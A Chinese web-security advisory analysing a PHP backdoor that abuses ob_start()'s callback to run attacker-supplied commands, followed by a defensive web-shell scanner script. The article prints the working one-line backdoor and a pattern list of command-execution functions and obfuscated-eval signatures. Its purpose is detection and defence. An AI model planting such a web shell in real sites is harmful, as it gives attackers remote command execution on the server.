网站安全分析:PHP ob_start函数后门分析

9月12日消息:站长之家从日志宝安全团队获悉,近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。

我们与用户取得联系后拿到后门文件代码。此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。

PHP 手册中关于ob_start()函数回调机制的相关说明:

Ob_start()函数后门代码如下:

<?php
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>

后门利用效果如下图:

针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。

为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:

#!/usr/bin/php -q
<?php

#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval($_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval(base64 匹配经过base64编码后的后门
#eval(gzuncompress 匹配经过gzip压缩过的后门
#`*` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)

#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) > result.log

程序的分析结果将保存在当前目录下的result.log文件中

set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir->read()){
if((is_dir("$directory/$file"))&&($file!=".")&&($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." && $file != ".."&&eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, 4096)) {
$i++; if((eregi("eval($_POST",$buffer))||(eregi("system(",$buffer))||(eregi("exec(",$buffer))||(eregi("shell_exec(",$buffer))||(eregi("popen(",$buffer))||(eregi("phpinfo(",$buffer))||(eregi("passthru(",$buffer))||(eregi("proc_open(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval(base64",$buffer))||(eregi("eval(gzuncompress",$buffer))||(eregi("preg_replace(/^/e,$",$buffer))||(eregi("preg_replace("/^/e",$buffer))||(eregi("assert(",$buffer))||(eregi("ob_start(",$buffer))||(eregi("error_log(",$buffer))||(eregi("dl(",$buffer))){
all();
echo "可疑文件路径:".$fd."rnLine".$i.":".$buffer."rnrn";
}
}
fclose($fp);
}
}
}
$mydir->close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}

find($argv[1]);
?>

使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识&技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。

注明:本安全报告来自日志宝,官方网站www.rizhibao.com

(0)

相关推荐

  • 网站被降权表现及原因分析

    网站被降权表现及原因分析 操作方法 01 首先看看网站降权的有那些基本特征: 第一.主关键字及长尾词排名下降或者无排名 第二.域名site不在第一,搜索网站名称不在第一. 第三.谷歌快照停滞不前或者快 ...

  • 网站运维工具使用iis日志分析工具分析iis日志(iis日志的配置)

    对于一个需要长期维护的网站来说,如何让网站长久稳定运行是件很有意义的事情。有些在开发阶段没有暴露的问题很有可能就在运维阶段出现了,这也是很正常的。还有些时候,我们希望不断地优化网站,让网站更快速的响应 ...

  • 淘宝客网站被百度降权八大原因分析

    引起降权主要包括:标题,关键词密度,网站改版,链接数量及速度,空间,交情链接,内容,作弊等,们点点分析. 步骤/方法 01 标题改动幅度,通常情况下,个站长淘客站权重高,建议要随便修改标题,什么情况属 ...

  • spss20.0单因素方差分析的操作和结果分析方法

    方差分析的基本思想是把所有观察值之间的变异分解为几个部分,计算均方差的一种统计学处理.今天来介绍一下如何用spss20.0做单因素方差分析以及怎么看结果.各个版本的操作基本都一样哦. 操作方法 01 ...

  • 网站分析之如何获取网站数据

    操作方法 01 随着很多网站的做大做细,网站数据分析变得更为重要.通过网站数据分析可以充分了解一个网站的运作情况,并加以改进.这些数据会告诉你,你的网站流量是否有效?流量在哪里流失?目标受众是否精准? ...

  • 如何撰写优秀的网站分析报告

    操作方法 01 作为一名网站运营或者是SEO人员,撰写一份网站分析报告是必须的经历的一个过程.一份网站分析报告质量的好坏决定了网站后期的发展.高管的决策以及自己的职业生涯. 02 要点一:明确撰写网站 ...

  • 网站优化需要分析哪些数据?

    做SEO工作的一般都要进行数据分析,那么一般从事SEO要分析哪些工作呢?下面就由汉恩来为大家总结几点. 操作方法 01 1.要分析网站内容的质量 内容质量的分析一般指的是网站内容更新的质量和网站外链发 ...

  • 如何使用谷歌分析网站

    有一个新奇的网站可以运作你的业务,而剩下的就是捞钱,对吗?开始赚钱之前,你要确保你的页面是流畅的.这就是谷歌分析网站打开的地方.通过将分析代码插入你的网站,你可以通过网站跟踪所有的事件了.这将确保游客 ...

  • 如何让网站分析报告更有价值

    操作方法 01 从哪里入手撰写网站分析报告?报告中应该选择和使用哪些指标?如何让分析结果更有价值?这些都是在我们在撰写网站分析报告时经常遇到的问题.本篇文章分享一个创建网站分析报告的流程,通过四个步骤 ...